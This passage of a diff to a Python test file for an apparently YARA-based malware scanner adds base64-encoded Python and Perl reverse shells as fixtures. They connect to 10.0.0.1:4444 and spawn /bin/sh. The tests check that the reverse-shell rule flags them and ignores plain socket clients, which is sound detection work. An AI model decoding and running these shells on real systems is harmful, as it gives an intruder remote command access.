"CnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p" + "CnMuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLDAp" + "Cm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJw" + "cm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkK" + ).decode() + + +def _perl_socket_shell_fixture() -> str: + """Complete Perl reverse shell: socket client plus stdio redirection and shell exec. + + Base64-encoded per this module's antivirus-safety convention. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKJGk9IjEwLjAuMC4xIjskcD00NDQ0Owpzb2NrZXQoU09DS0VULFBG" + "X0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTsKY29ubmVjdChT" + "T0NLRVQsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpOwpvcGVuKFNURElOLCI+" + "JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4m" + "U09DS0VUIik7CmV4ZWMoIi9iaW4vc2ggLWkiKTsK" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -592,21 +620,33 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + @pytest.mark.parametrize( + "content, filename", + [ + (_python_socket_shell_fixture(), "shell.py"), + (_perl_socket_shell_fixture(), "shell.pl"), + ], + ) + def test_builtin_reverse_shell_matches_complete_socket_shells( + self, content: str, filename: str + ) -> None: + assert _has_rule(_run_builtin(content, filename), "reverse_shell") + @pytest.mark.parametrize( "content, filename", [ ( "import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" 's.connect(("10.0.0.1", 4444))\n', - "shell.py", + "client.py", ), - ("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "shell.pl"), + ("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "client.pl"), ], ) - def test_builtin_reverse_shell_matches_multiline_socket_forms( + def test_builtin_reverse_shell_ignores_plain_socket_clients( self, content: str, filename: str ) -> None: - assert _has_rule(_run_builtin(content, filename), "reverse_shell") + assert not _has_rule(_run_builtin(content, filename), "reverse_shell") def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule(